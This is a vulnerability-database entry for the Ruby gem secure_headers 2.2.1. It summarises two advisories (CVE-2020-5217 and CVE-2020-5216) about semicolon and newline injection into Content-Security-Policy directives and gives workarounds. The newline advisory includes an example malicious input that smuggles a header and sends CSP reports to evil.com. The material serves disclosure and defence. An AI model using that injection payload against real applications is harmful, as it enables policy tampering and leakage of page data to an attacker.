Lookup for vulnerable packages by Package URL.
| Purl | pkg:gem/secure_headers@2.2.1 |
| Type | gem |
| Namespace | |
| Name | secure_headers |
| Version | 2.2.1 |
| Qualifiers |
|
| Subpath | |
| Is_vulnerable | true |
| Next_non_vulnerable_version | 3.9.0 |
| Latest_non_vulnerable_version | 6.3.0 |
| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-f7yt-1t4f-ufhx |
| vulnerability_id |
VCID-f7yt-1t4f-ufhx |
| summary |
secure_headers directive injection using semicolon
If user-supplied input was passed into append/override_content_security_policy_directives,
a semicolon could be injected leading to directive injection.
This could be used to e.g. override a script-src directive. Duplicate directives are ignored
and the first one wins. The directives in secure_headers are sorted alphabetically so they
pretty much all come before script-src. A previously undefined directive would receive a value
even if SecureHeaders::OPT_OUT was supplied.
The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning
when this happens. This will result in innocuous browser console messages if being
exploited/accidentally used. In future releases, we will raise application errors resulting in
500s.
> Duplicate script-src directives detected. All but the first instance will be ignored.
See https://www.w3.org/TR/CSP3/#parse-serialized-policy
> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was
> ignored. A console warning might be appropriate, for example.
# Workarounds
If you are passing user input into the above methods, you could filter out the input:
```
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
``` |
| references |
| 0 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
|
| fixed_packages |
|
| aliases |
CVE-2020-5217, GHSA-xq52-rv6w-397c
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-f7yt-1t4f-ufhx |
|
| 1 |
| url |
VCID-mr8k-d23n-e3c6 |
| vulnerability_id |
VCID-mr8k-d23n-e3c6 |
| summary |
secure_headers header injection due to newline
If user-supplied input was passed into append/override_content_security_policy_directives,
a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers
for each newline.
e.g.
```
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
```
would result in
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```
Workarounds
```
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
``` |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2020-5216, GHSA-w978-rmpf-qmwg
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-mr8k-d23n-e3c6 |
|
|
| Fixing_vulnerabilities |
|
| Risk_score | 3.1 |
| Resource_url | http://public2.vulnerablecode.io/packages/pkg:gem/secure_headers@2.2.1 |